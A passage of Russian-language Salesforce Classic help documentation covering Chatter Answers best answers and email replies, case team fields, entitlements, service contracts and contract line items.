отслеживающих, отображаются первыми.

Прим.: Поле поиска в верхнем колонтитуле позволяет охватить большее количество объектов, чем поле поиска
на вкладке «Вопрос и ответ». Глобальные поиски, выполняемые внутренними пользователями, возвращают все
вопросы, доступные внутри организации. Поиски, выполняемые всеми другими пользователями в сообществах
Salesforce, возвращают вопросы, доступные внутри сообщества.
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Выбор лучшего ответа на вопрос

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вопросов:
• «Чтение» для вопросов

Для добавления вопросов и
ответов:
• «Создание» для

вопросов

Послепубликациивопросарекомендуемпросматриватьответы, предложенныедругими
участниками сообщества. Один из ответов может быть выбран в качестве лучшего.
Лучшийответотображаетсяпрямопод вопросом, поэтому участникисообществамогут
легко определить ответ, считающийся самым полезным.

Лучший ответ может быть выбран только администратором Salesforce или автором
соответствующего вопроса.

Чтобы выбрать лучший ответ, выполните указанные ниже действия.

1. Щелкните заголовок нужного вопроса на вкладке «Вопрос и ответ».

2. Выберите лучший ответ и щелкните ссылку «Выбрать как "Лучший ответ"».

Чтобы определить лучший ответ, обратите внимание на количество голосов
(«Нравится» и «Не нравится») для каждого ответа. Возможно, ответ с наибольшим
количеством положительных голосов является самым полезным. Если вопрос
содержит слишком много ответов, выберите критерий сортировки «Наибольшее
количество голосов». В этом случае ответы с наибольшим количеством
положительных и отрицательных голосов отображаются вверху списка.

Ниже перечислены действия, доступные после выбора лучшего ответа.

• Вопросу присваивается статус «Решение найдено». Участники сообщества могут
продолжать публиковать ответы и голосовать за ответы для решенных вопросов.

• Вслучае публикацииболее ценногоответа, просто выберитеновыйответ в качестве
лучшего.

• Принеобходимости удалите статус лучшего ответа. Удаление данного статуса инициирует преобразование лучшего
ответа в обычный ответ.

Отправка ответов на электронные уведомления Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

При получении электронного уведомления пользователь может опубликовать свой
ответ сообществу путем ответа на полученное сообщение эл. почты.

Приполученииэлектронногоуведомления, связанногос вопросом, пользовательможет
отправить свой ответ прямо из входящего сообщения эл. почты; данный ответ
отображается в качествеответана вкладке «Вопросиответ». Нижеперечисленысобытия,
поддерживающие отправку электронных уведомлений.

• Другой пользователь отвечает на заданный или отслеживаемый вопрос.

• Служба поддержки или модератор выбирает лучший ответ на заданный или
отслеживаемый вопрос.

Прим.: Отправка ответов на электронные уведомления доступна только после
включенияадминистраторомэлектронныхответовнастранице «ПараметрыChatter
Answers».

Ниже перечислены рекомендации по отправке электронных ответов.

• Для отправки ответов следует использовать адрес эл. почты, указанный в профиле. При использовании
адресов-псевдонимов илифункции переадресации эл. почты, благодаря чему ответы отправляются с другого адреса,
ответы не подлежат обработке.
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• Если ответ содержит электронную подпись пользователя, то данная подпись рассматривается системой как часть
комментария. Стандартныеподписи, добавляемыеприиспользованиимобильныхустройств (например, Sent from
my iPhone), автоматическиудаляютсяиз всехответов. Преждечемотправитьответ, удалитенастраиваемыеподписи
и любой другой текст, который не должен быть опубликован в сообщество.

• Вложения, добавленные в ответы, пропускаются.

• Сообщения, содержащиеобогащенныйтекстилидругиетипыразметки, отображаютсявосновномтекстеэлектронного
уведомления в виде обычного текста.

• Автоматические сообщения (например, сообщения об отсутствии на рабочем месте) пропускаются системой.

• Прежде чем отправить ответ, проверьте адрес эл. почты, отображаемый в поле сообщения эл. почты «Кому».
Действительные адреса содержат маркеры или длинные символьные строки — до и после символа @ (например,
w8t27apy1@j321imd9gbs.d8rx.d.chatter.salesforce.com). Некоторые почтовые приложения могут
автоматически использовать адрес, указанный в поле «От» исходного сообщения эл. почты (например,
ReplyToQ&A@<компания>.com). Данный адрес не предназначается для получения ответов. Данный укороченный
адрес, отображаемыйвполе «Кому» электронногоответа, долженбыть заменендействительнымадресомдляответов.
Например, при использовании приложения IBM® Lotus Notes® выполните указанные ниже действия.

1. Откройте исходное сообщение эл. почты.

2. Последовательно выберите пункты View > Show > Page Source («Просмотр» — «Показать» — «HTML-код»).

3. Скопируйте похожий адрес эл. почты в разделе ReplyToQ&A:
w8t27apy1@j321imd9gbs.d8rx.d.chatter.salesforce.com.

4. Вставьте адрес для ответов в поле «Кому» электронного ответа.

Разрешение запросов клиентов с участием третьих лиц

Поля групп, работающих с обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Работающие с обращениями группы имеют поля, перечисленные ниже в алфавитном
порядке. Доступность полей определяется настройками Salesforce.

ОписаниеПоле

Уровнидоступаучастникарабочейгруппы
к обращению: «Только для чтения», «Для
чтения и записи» или «Личный». Уровень
доступа должен превышать стандартный
уровень общего доступа организации.

Доступ к обращению

Имя пользователя в работающей с
обращениями группе.

Имя участника

Роль участника группы в обращении,
например агент службы поддержки или
менеджер по обращениям.

Роль участника
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ОписаниеПоле

Определяет наличие участника группы, работающей с
обращениями, на клиентском портале.

Доступно на клиентском портале

СМ. ТАКЖЕ:

Группы, работающие с обращениями

Создание и проверка соглашений об обслуживании

Права

Права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Права — это элементы поддержки пользователей в системе Salesforce (например,
«поддержка по телефону» или «интерактивная поддержка»). Как правило, эти элементы
используются для представления терминов в соглашениях об обслуживании. Права
позволяют определить наличие у клиента привилегии на поддержку с целью
последующего создания обращения.

Праваможносвязыватьсорганизациями, активамиисервиснымиконтрактами. Например,
право на поддержку по телефону можно добавить к организации. Если контакт из
организации звонит в отдел обслуживания клиентов, агенты службы поддержки могут
быстро проверить, имеет ли он право на поддержку по телефону.

Права можно использовать отдельно или как часть процессов права. Процесс права — это временная шкала, содержащая
все этапы, которые должны выполнить агенты для принятия решения по обращению. Чтобы представить в системе
Salesforce соглашения об обслуживании более сложного уровня (например, с функциями продления процессов и рядом
уровней обслуживания), используются элементы сервисные контракты и элементы строки контракта.

Просмотри управлениеправами в системе Salesforce выполняется на вкладке «Права». Также, в зависимостиот настройки
прав, можно использовать связанный список «Права» для организаций, контактов, активов и сервисных контрактов.

СМ. ТАКЖЕ:

Рекомендации по работе с правами

Права: термины, которые следует знать
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Рекомендации по работе с правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прав:
• «Чтение» для прав

Для изменения прав:
• «Редактирование» для

прав

Для создания или
клонирования прав:
• «Создание» для прав

Для удаления прав:
• «Удаление» для прав

Права в системе Salesforce определяют наличие у клиента права на поддержку. В данном
разделе представлена информация о выполнении общих действий по правам.

Просмотр прав
Пользователь может просматривать права на вкладке «Права» или в следующих
связанных списках «Права»:

• Организации

• Активы

• Контакты

• Сервисные контракты

Чтобыпросмотретьправа, связанныесконкретнойорганизацией, контактом, активом
или сервисным контрактом, перейдите к связанному списку «Права» для записи.

Совет: Если консоль поддерживает добавление прав, откройте вкладку
«Консоль» дляпросмотраиредактированияправисвязанныхзаписейнаодном
экране.

Создание прав
Пользователь может создавать и редактировать права на вкладке «Права» или в
связанном списке «Права» для организаций, активов или сервисных контрактов.

Возможно, в компаниисуществует собственныйпроцесс связыванияправиклиентов
в системе Salesforce. Простейший метод состоит в создании права для организации
клиентапосредствомсвязанного списка «Права» ииспользованииправа для каждого
контакта по организации. Учтите, что при создании контакта для организации для
контакта не выполняется автоматическое наследование права для организации.
Администратор может настроить автоматический процесс, создающий право для
новых контактов по организации.

Прим.:

• Пользователь может добавлять существующие права к контактам или продуктам, но не может создавать
новые права на основании записи контакта или продукта.

• Чтобы создать право на основе текущего, нажмите кнопку «Клонировать».

Удаление прав
Пользовательможет удалятьправана странице сведенийоправах, в связанномсписке «Права» илина вкладке «Права».
Удаленное право перемещается в корзину. Кроме того, удаление права инициирует удаление всех связанных
примечаний, вложенийилидействий. Восстановлениеправа инициирует восстановление всех связанных элементов.

Прим.: Право с активным или закрытым обращением не может быть удалено.

Общий доступ для прав
Общийдоступдляправнеподдерживается. Дляправиспользуетсятажемодельобщегодоступа, чтоидляорганизации,
с которой они связаны.
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Связывание клиента с правом не означает предоставления общего доступа к праву для них. Чтобы клиенты могли
просматривать свои права, права должны быть настроены во внешнем сообществе.

СМ. ТАКЖЕ:

Проверка прав

Права: термины, которые следует знать

Поля прав

Проверка прав

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прав:
• «Чтение» для прав

Для просмотра
организаций, контактов,
активов или сервисных
контрактов:
• «Чтение» для объекта

Каждоеправо в Salesforce связано с конкретнойорганизацией. Проверьте, соответствует
ли клиент условиям, необходимым для предоставления услуг поддержки перед тем, как
создать или обновить обращение.

Этапы проверкиГде следует это
проверять

Что следует проверять

Страница сведений об
организации

Имеет ли право хотя бы
один контакт в данной
организации на получение
услуг поддержки

1. Откройте страницу
сведений об
организации.

2. Убедитесь, что
связанный список
«Права» содержит
нужное право.

Страница сведений о
контакте

Имеетлиправоконкретный
контакт на поддержку на
страницесведенийконтакта

1. Посмотрите контакт.

2. Убедитесь, что
связанный список
«Права» содержит
нужное право.

Страница сведений об
активе

Распространяется ли
поддержка на конкретные
активы (приобретенные
продукты)

1. Выберитенужныйактив
в связанном списке или
списковом
представлении активов
на вкладке «Продукты».

2. Щелкнитеимянужного
актива.

3. Убедитесь, что
связанный список
«Права» содержит
нужное право.

Страница сведений
контрактанаобслуживание

Включает ли контракт на
обслуживание конкретное
право на получение услуги

1. Откройте вкладку
«Сервисныеконтракты».
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Этапы проверкиГде следует это проверятьЧто следует проверять

2. Щелкнитеимянужногосервисного
контракта.

3. Убедитесь, что связанный список
«Права» содержит нужное право.

После проверки прав на получение услугищелкнитеСоздать обращение на странице сведений о праве, чтобы создать
обращение, связанное справом. Вобращение автоматически включаетсянужноеправо, организация, контакти сведения
об активе. Можно также добавить право в существующее обращение при помощи поля поиска «Имя права» для
обращения.

СМ. ТАКЖЕ:

Рекомендации по работе с правами

Права: термины, которые следует знать

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Ознакомьтесь с полезными терминами, связанными с функциями права в Salesforce.

Право
Блок поддержки клиентов в Salesforce, например «поддержка по телефону» или
«поддержкачерезИнтернет». Онобычноиспользуется дляпредоставления условий
в гарантиях. Вы можете связывать права с организациями, активами, контактами и
контрактами на обслуживание. Просмотр прав на вкладке «Права» или в связанном
списке «Права» для организаций, активов, контактов и сервисных контрактов.

Контакт права
Контакты, у которых есть право на получение услуг поддержки клиентов, например,
зарегистрированный абонент. Связанный список «Контакты» для права показывает,
какие контактыподходят для этогоправа. Выможете удалятьилидобавлять контакты
напрямую из связанного списка или путем добавления самой записи контакта.
Компания может запретить пользователюоказывать поддержку клиентам, отсутствующим в списке контактов права.

Прим.:

• Контакты в учетной записине наследуютправа организации автоматически. В зависимости от организации
бизнес-процессов вам может потребоваться создать отдельное право для каждого контакта в организации.
Выможете также настроить триггер, который автоматически назначит право для контакта при его создании.

• Контакты права не имеют макетов страниц, макетов поиска, кнопок, ссылок и типов записей.

• Параметры доступности и общего доступа, применяемые к родительской организации, также
распространяются на контакты. Связывание контакта с правом не инициирует предоставление общего
доступа к записи права контакту или связанному пользователю сообщества.

Шаблон права
Заданныешаблоныподдержкиклиентов, которыеможнобыстродобавитькпродуктамв Salesforce. Например, создайте
шаблоны права для веб-поддержки или поддержки по телефону, чтобы разрешить пользователям добавлять права в
продукты, приобретаемые клиентами.
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Управление правами
Коллекция функций Salesforce, которые помогают предоставлять нужные уровни обслуживания вашим клиентам.
Она содержит:

• Функция «Права», позволяющая агентам службы поддержки проверить наличие права на поддержку у клиента.

• процессы права, которые позволяют задать сроки, за которые необходимо выполнить все шаги, необходимые для
закрытия обращений;

• Функция «Сервисные контракты», позволяющая представлять разные типы соглашений о поддержке клиентов
(например, гарантии, подпискиилисоглашенияобобслуживании). Сервисныеконтрактымогутраспространяться
только на определенные продукты.

• Функция «Доступ сообщества к правам», позволяющая пользователям сообщества просматривать права и сервисные
контракты, а также создавать обращения на их основе.

• Функция «Отчетностьпо управлениюправами»,позволяющаяотслеживатьиспользованиеправ ворганизации, а также
соблюдение условий сервисных контрактов.

В зависимости от потребностей бизнеса вы можете решить, использовать все этифункции или только некоторые из
них.

Сервисный контракт
Соглашение о предоставлении клиентам поддержки, заключаемое между вами и вашими клиентами. Сервисные
контракты в Salesforce могут представлять собой гарантии, подписки, соглашения об уровнях обслуживания и другие
типы поддержки клиентов. Сервисные контракты можно просмотреть на вкладке «Сервисные контракты» или в
связанном списке «Сервисные контракты» для организаций и контактов.

Элемент строки контракта
Конкретные продукты, на которые распространяется действие сервисного контракта. Просмотр элементов строки
контракта в связанном списке «Элементы строки контракта» для сервисных контрактов (не контракты!). Элементы
строки контракта доступны пользователям только в том случае, если организация использует продукты.

Прим.: Элементы строки контракта не поддерживают создание расписаний, и у пользователей сообщества нет
к ним доступа.

Процесс права
Срок, который содержит все этапы (контрольные точки), которые необходимо завершить специалистам службы
поддержкидля разрешенияобращения. Каждыйпроцесс использует логику, необходимуюдля определения способа
применения соответствующего уровня обслуживания клиентов.

Не всем правам нужны процессы. Например, простое право может заключаться в том, что клиент имеет право на
техническую поддержку по телефону круглосуточно и без выходных. Если вам требуется добавить шаги, зависящие
от времениилиуровняобслуживания, в этоопределение   например, если выхотите, чтобысупервизоруотправлялось
уведомление по эл. почте о том, что обращение заказчика не разрешается в течение двух часов,   вам необходим
процесс права.

Контрольная точка
Необходимыйшаг в ходе процесса права. Контрольные точки — это показатели, определяющие уровни
предоставляемого клиентам обслуживания. Например, контрольными точками считаются время отправки первого
ответа и время принятия решения по обращению.

Действия контрольных точек
Действие бизнес-правила, зависящее от времени, которое выполняется для контрольной точки процесса права.
Например, в контрольную точку можно добавить следующие действия:

• отправка уведомления некоторымпользователям за час до окончания срока действия первой контрольной точки;

• обновление некоторых полей для обращения через минуту после завершения первого отклика.
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Есть три типа действий для контрольной точки:

• Действия в случае успеха запускаются при завершении контрольной точки

• Действия предупреждений запускаются, когда имеется угроза нарушения условий контрольной точки

• Действия в случае нарушений запускаются при нарушении условий контрольной точки

Вы можете настроить автоматизацию задач, уведомлений электронной почты, обновления полей и исходящие
сообщения для каждого типа действий.

СМ. ТАКЖЕ:

Права

Поля прав

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Ниже перечислены поля, доступные для прав. В зависимости от используемого макета
страницы и параметров безопасности полей некоторые поля могут быть скрыты или
недоступны для редактирования.

ОписаниеПоле

Организация, связанная с правом. Каждое
право должно быть связано с
организацией.

Имя организации

Актив, связанный с правом.

Продукты — это объекты, продаваемые
компанией (например, корпус ноутбука).

Имя актива

Активы — это определенные продукты,
приобретенные клиентом (например,
корпус ноутбука, приобретенный
Андреем).

Часы, в течение которых доступна
поддержка права.

Дополнительную информацию о часах
работы по правам см. в разделе «Действие

Часы работы

параметра «Часы работы» в управлении
правами».

Данное поле позволяет ограничить
количество обращений, доступных для
одного права.

Данное поле используется, если
соглашенияобобслуживаниисклиентами

По инциденту

основано на количестве обращений (в
отличие от количества дней или других
критериев). В противном случае это поле
не используется.
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ОписаниеПоле

Общее количество обращений по одному праву.

Данноеполедоступнотолько в томслучае, если заполнено
поле «По инциденту».

Обращения по праву

Элемент строки контракта (продукт), связанного с правом.Элемент строки контракта

Последний день действия права.

Данное поле отображается пустым, кроме случаев
настройки триггера Apex или быстрого действия для

Дата окончания

заполнения поля. Например, можно создать быстрое
действие, которое устанавливает для поля «Дата
окончания» значение 365 дней после «Даты начала».

Имя права.

Рекомендуем использовать описательное имя (например,
«Поддержка по телефону»). Описательное имя дает

Имя права

пользователям общее представление о правах при
просмотре связанных списков организаций, контактов и
активов.

Сервисный контракт, связанный с правом.

Чтобынайтисервисныйконтракт спомощьюдиалогового
окнапоиска, задайте критерии вполях «Фильтровать по».

Сервисный контракт

Чтобы ограничить значения и результаты фильтрации,
рекомендуемадминистраторамнастроитьфильтрыпоиска.

Первый день действия права.

Этополеостаетсяпустым, еслине установлен триггерApex
или быстрое действие для его заполнения. Например,

Дата начала

создается быстрое действие, которое определяет «Дату
начала», когда «Статус» изменяетзначениена «Активный».

Процесс права, связанный с правом.

Процессправа   этовременнаяшкала, содержащаявсе этапы
(контрольные точки), которые должны быть выполнены

Процесс права

службойподдержкидляпринятиярешенияпообращению.
Каждый процесс использует логику для определения
способа применения соответствующего уровня
обслуживания клиентов.

Количествообращенийпоодномуправу. Значениеданного
поля уменьшается на единицу при каждом создании
обращения с правом.

Данноеполедоступнотолько в томслучае, если заполнено
поле «По инциденту».

Оставшиеся обращения
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ОписаниеПоле

Статус права.

Статусопределяетсятекущейсистемнойдатойорганизации
и полями права «Дата начала» и «Дата окончания».
Статусу присваивается значение...

Статус

• «Активно», если системная дата находится в диапазоне:
большеилиравно «Дата начала» именьшеилиравно
«Дата окончания.

• «Срок действия истек», если значение поля «Дата
окончания» предшествует системной дате.

• «Неактивно», если системная дата предшествует
значению поля «Дата начала».

Статус права отображается одним из указанных ниже
значков.

Значок статуса

•  «Активно»

•  «Срок действия истек»

•  «Неактивно»

Тип права (например, веб-поддержка или поддержка по
телефону).

Значения данного поля могут быть настроены
администратором.

Тип

СМ. ТАКЖЕ:

Права: термины, которые следует знать

Сервисные контракты

Сервисные контракты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Сервисные контракты в Salesforce представляют собой соглашение о клиентской
поддержкемеждувамиивашимиклиентами. Ихможноиспользоватьдляпредоставления
гарантий, подписок, соглашенийобуровнеобслуживания (SLA) идругихвидовподдержки
клиентов.

Сервисные контракты являются новой возможностью предоставления прав. Их
необходимо использовать в следующих случаях:

• Установка специальных уровней обслуживания для клиентов, например гарантий,
подписок и соглашений об уровне обслуживания.

• Права клиентов подлежат продлению на уровне контракта. Другими словами,
бизнес-процессы позволяют создавать права для клиента только при наличии
активного сервисного контракта.
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Просматриватьсервисныеконтрактыиуправлятьимив Salesforceможнонавкладке «Сервисныеконтракты». Взависимости
от заданныхнастроек сервисныхконтрактовпользователимогутиспользовать список «Сервисныеконтракты» в учетных
записях и контактах.

СМ. ТАКЖЕ:

Рекомендации по работе с сервисными контрактами

Поля сервисных контрактов

Настройка сервисных контрактов

Рекомендации по работе с сервисными контрактами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сервисных
контрактов:
• «Чтение» для сервисных

контрактов

Для редактирования
сервисных контрактов:
• «Редактирование» для

сервисных контрактов

Для создания или
клонирования сервисных
контрактов:
• «Создание» для

сервисных контрактов

Для удаления сервисных
контрактов:
• «Удаление» для

сервисных контрактов

Сервисный контракт — это соглашение между пользователем и его клиентами на
предоставлениеопределенногоуровняобслуживания.. Узнайтеподробнее, каквыполнять
основные действия для сервисных контрактов.

Просмотр сервисных контрактов
Просмотреть сервисные контракты можно на вкладке «Сервисные контракты» или
в связанном списке учетных записей и контактов «Сервисные контракты». Чтобы
просмотреть сведения о сервисном контракте, щелкните имя нужного сервисного
контракта. Будут отображены связанные права, элементы строки контракта, журнал
обновления полей и т.д.

Связанныйсписок «Сервисныеконтракты» в учетной записииликонтакте содержит
все сервисные контракты, связанные с данным элементом.

Совет: Еслисервисныеконтрактыбылинастроенывконсоли, щелкнитевкладку
«Консоль», чтобы найти, просмотреть и изменить сервисные контракты и
связанные записи из одного места.

Создание сервисных контрактов
Создавать и редактировать сервисные контракты можно из следующих мест:

• Вкладка «Сервисные контракты»

• Связанный список учетных записей и контактов «Сервисные контракты»

Совет: Чтобы быстро создать новый сервисный контракт на основе текущего,
нажмите кнопку «Клонировать».

Рекомендуется создать ссылку на каждый сервисный контракт в учетной записи
Salesforce. Затем можно создать права в сервисном контракте и назначить права для
контактов, связанных с учетной записью.

Удаление сервисных контрактов
Удалитьсервисныеконтрактыможносостраницы «Сведенияосервисномконтракте»
или из связанного списка «Сервисные контракты».

Удаленный сервисный контракт перемещается в корзину. Кроме того, удаление
сервисногоконтрактаинициируетудалениевсех связанныхпримечаний, вложений,
действий или элементов строки контракта. Восстановление сервисного контракта
инициирует восстановление всех связанных элементов.
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Прим.: Сервисные контракты с активными или недействительными правами не могут быть удалены. При
необходимости удаления сервисного контракта с правами (например, из-за проблем с сервисным контрактом)
добавьте его права в другой сервисный контракт, а затем удалите его.

Предоставление общего доступа к сервисным контрактам
Для предоставления дополнительного доступа к сервисным контрактам по сравнению с установленной моделью
общего доступа в организации можно использовать правила общего доступа. Модель общего доступа определяет
самый строгий стандартный уровень, который может быть только расширен.

Чтобы отобразить пользователей с доступом к сервисному контракту, нажмите «Предоставить общий доступ» на
странице «Сведения о сервисном контракте». Откроется страница «Сведения об общем доступе». Ниже перечислены
действия, доступные на данной странице.

• Просмотр списка пользователей, которые имеют доступ к сервисному контракту.

• Чтобы предоставить другим пользователям, группам, ролям или территориям доступ к записи, нажмите кнопку
«Добавить». Общийдоступможнопредоставить только пользователям с полномочием «Чтение» для сервисных
контрактов.

• Создание, редактирование и удаление правил общего доступа вручную.

• Определение настраиваемого представления для фильтрации списка пользователей, которые имеют доступ к
сервисному контракту.

Передача сервисных контрактов между пользователями
Может потребоваться перенос нескольких сервисных контрактов для пользователя. Для этого перейдите на вкладку
«Сервисные контракты» и нажмите «Передать сервисные контракты» в разделе «Инструменты».

СМ. ТАКЖЕ:

Сервисные контракты

Поля сервисных контрактов

Поля сервисных контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Сервисные контрактыимеют следующиеполя. В зависимостиот используемогомакета
страницы и параметров безопасности полей некоторые поля могут быть скрыты или
недоступны для редактирования.

ОписаниеПоле

Организация, которая приобрела или
несет ответственность за сервисный
контракт.

Имя организации

Первый день действия сервисного
контракта.*

Дата активации

Поле статуса процесса утверждения. При
наличии процесса утверждения для

Статус утверждения

сервисных контрактов в этом поле
указывается текущая стадия процесса
утверждения.
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ОписаниеПоле

Часть адреса для выставления счета: название города.
Данное поле может содержать не более 40 символов.

Город для счета

Часть адреса для выставления счета: название страны.
Значение выбирается из раскрывающегося списка

Страна для счета

стандартных значений или вводится как текст. Поле,
являющееся текстовым, может содержать не более
80 символов.

Часть адреса для выставления счета: название области или
штата. Значение выбирается из раскрывающегося списка

Область для счета

стандартных значений или вводится как текст. Поле,
являющееся текстовым, может содержать не более
80 символов.

Часть адреса для выставления счета: почтовый индекс.
Данное поле может содержать не более 20 символов.

Почтовый индекс для счета

Контакт, связанный с сервисным контрактом.
Воспользуйтесь раскрывающимся списком.

Имя контакта

Имя сервисного контракта.

В зависимости от бизнес-потребностей может
потребоваться включениеимени клиента, датыокончания

Имя контракта

действия контракта, типа продукта, на который
распространяется контракт, или других сведений.

Автоматически создаваемыйномер сервисного контракта.
(Только для чтения)

Номер контракта

Пользователь, создавшийсервисныйконтракт. (Толькодля
чтения)

Создано

Дата создания сервисного контракта.*Дата создания

Валюта для всех полей валюты в сервисном контракте.
Данное поле доступно только мультивалютным
организациям.

Валюта сервисного контракта, содержащего элементы
строки контракта, не может быть изменена.

Валюта

Описание сервисного контракта. Данное поле
поддерживает ввод не более 32 Кб данных.

Включите в описание сведения, которые помогут агентам
понять сферу действия сервисного контракта. Например,

Описание

«Этот контракт гарантирует, что клиент получит первый
ответ в течение 2 часов, а его проблема будет решена в
течение 24 часов».
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ОписаниеПоле

Средневзвешенное значение всех скидок для элементов
строки контракта. Данное поле поддерживает любые
положительные числа до 100. (Только для чтения)

Скидка

Последний день действия сервисного контракта.*

Этополеостаетсяпустым, еслине установлен триггерApex
или быстрое действие для его заполнения. Например,

Дата окончания

можно создать быстрое действие, которое устанавливает
для поля «Дата окончания» значение 365 дней после
«Даты начала».

Общая сумма сервисного контракта плюс налоги и
стоимость отправки. (Только для чтения)

Общая сумма

Пользователь, изменившийсервисныйконтрактпоследним.
(Только для чтения)

Последнее изменение сделано

Количество элементов строки сервисного контракта
(продуктов).

Элементы строки

Назначенный ответственный за сервисный контракт.Ответственный за сервисный контракт

Общая стоимость отправки и обработки сервисного
контракта.

Доставка и обработка

Частьосновногопочтовогоадресаилиадресадлядоставки:
название города. Данное поле может содержать не более
40 символов.

Город отправки

Частьосновногопочтовогоадресаилиадресадлядоставки:
названиестраны. Значениевыбираетсяизраскрывающегося

Страна отправки

списка стандартныхзначенийиливводится как текст. Поле,
являющееся текстовым, может содержать не более
80 символов.

Частьосновногопочтовогоадресаилиадресадлядоставки:
название области илиштата. Значение выбирается из

Область отправки

раскрывающегося списка стандартных значений или
вводится как текст. Поле, являющееся текстовым, может
содержать не более 80 символов.

Частьосновногопочтовогоадресаорганизацииилиадреса
для доставки: название улицы. Данное поле может
содержать не более 255 символов.

Улица отправки

Частьосновногопочтовогоадресаилиадресадлядоставки:
почтовый индекс. Данное поле может содержать не более
20 символов.

Индекс отправки

Любые оговоренные условия, которые должны
отслеживаться в сервисном контракте.

Особые условия
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ОписаниеПоле

Первый день действия сервисного контракта.*

Этополеостаетсяпустым, еслине установлен триггерApex
или быстрое действие для его заполнения. Например,

Дата начала

можно создать быстрое действие, которое устанавливает
для поля «Дата начала» дату изменения статуса на
активное.

Статус сервисного контракта.

Статусопределяетсятекущейсистемнойдатойорганизации
и полями сервисного контракта «Дата начала» и «Дата
окончания». Статусу присваивается значение...

Статус

• «Активно», если системная дата находится в диапазоне:
большеилиравно «Дата начала» именьшеилиравно
«Дата окончания.

• «Срок действия истек», если значение поля «Дата
окончания» предшествует системной дате.

• «Неактивно», если системная дата предшествует
значению поля «Дата начала».

Представляет статус сервисного контракта с помощью
одного из следующих значков.

Значок статуса

•  «Активно»

•  «Срок действия истек»

•  «Неактивно»

Общая сумма по элементам строки сервисного контракта
(продуктам) безучетаскидок, налоговистоимостиотправки.
(Только для чтения)

Промежуточная сумма

Общая сумма налогов по сервисному контракту. Это поле
валюты, поэтому следует вводить сумму, а не проценты.
Например, введите 10,50 $.

Налог

Срок действия сервисного контракта в месяцах.

Это поле не зависит от значений «Дата начала» и «Дата
окончания». В зависимости от использования сервисных

Срок (в месяцах)

контрактов можно скрыть поле «Срок окончания» или
установить проверку данных, при которой заполняется
поле «Дата окончания», если задано значение «Срок
окончания».

Общая сумма по элементам строки контракта (продуктам)
с учетомскидок, нобез учетаналоговистоимостиотправки.
(Только для чтения)

Итоговая цена
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*Сервисные контракты имеют четыре поля даты. «Дата создания» — дата создания сервисного контракта в Salesforce,
т.е. самаяранняя дата. «Дата активации» — этодатапервойактивациидля учетной записииликлиента. «Дата начала» —
дата вступления сервисного контракта в силу или дата последнего продления, а «Дата окончания» — последний день
действия сервисного контракта. Поля «Дата начала» и «Дата окончания» по умолчанию пустые, но можно создать
триггерыApex, которыебудут заполнять этиполянаоснове другихполейсервисногоконтракта, например значенияполя
«Статус».

СМ. ТАКЖЕ:

Рекомендации по работе с сервисными контрактами

Поля элементов строки контракта

Элементы строки контракта

Элементы строки контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Элементы строки контракта — это определенные продукты, указанные в сервисном
контракте (не в генеральном). Элементы строки контракта доступны пользователям
только в том случае, если организация использует продукты.

Элементы строки сервисного контракта перечислены в связанном списке «Элементы
строки контракта».

Прим.: Элементы строки контракта не поддерживают создание расписаний, и у
пользователей сообщества нет к ним доступа.

Пример: Можносоздать сервисныйконтракт дляпродуктов X, Y и Z, а затем создать
права в сервисном контракте, назначенном для контактов в конкретной учетной
записи. Когда один из контактов запрашивает поддержку, агент проверяет
активностьправа, относящегосяк этомусервисномуконтракту. Еслиправоявляется
активным, агент предоставляет поддержку для любого продукта (представленного
элементамистроки контракта), на которыйраспространяется сервисныйконтракт.

СМ. ТАКЖЕ:

Рекомендации по работе с элементами строки контракта

Поля элементов строки контракта
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Рекомендации по работе с элементами строки контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления элементов
строки контракта в
сервисные контракты:
• «Редактирование» для

сервисных контрактов

И

«Создание» для
элементов строки
контракта и «Чтение»
для продуктов и
прайс-листов

Для просмотра элементов
строки контракта:
• «Чтение» для элементов

строки контракта И
«Чтение» для продуктов
и прайс-листов

Для редактирования
элементов строки контракта:
• «Редактирование» для

элементов строки
контракта И «Чтение»
для продуктов и
прайс-листов

Для удаления элементов
строки контракта:
• «Удаление» для

элементов строки
контракта И «Чтение»
для продуктов и
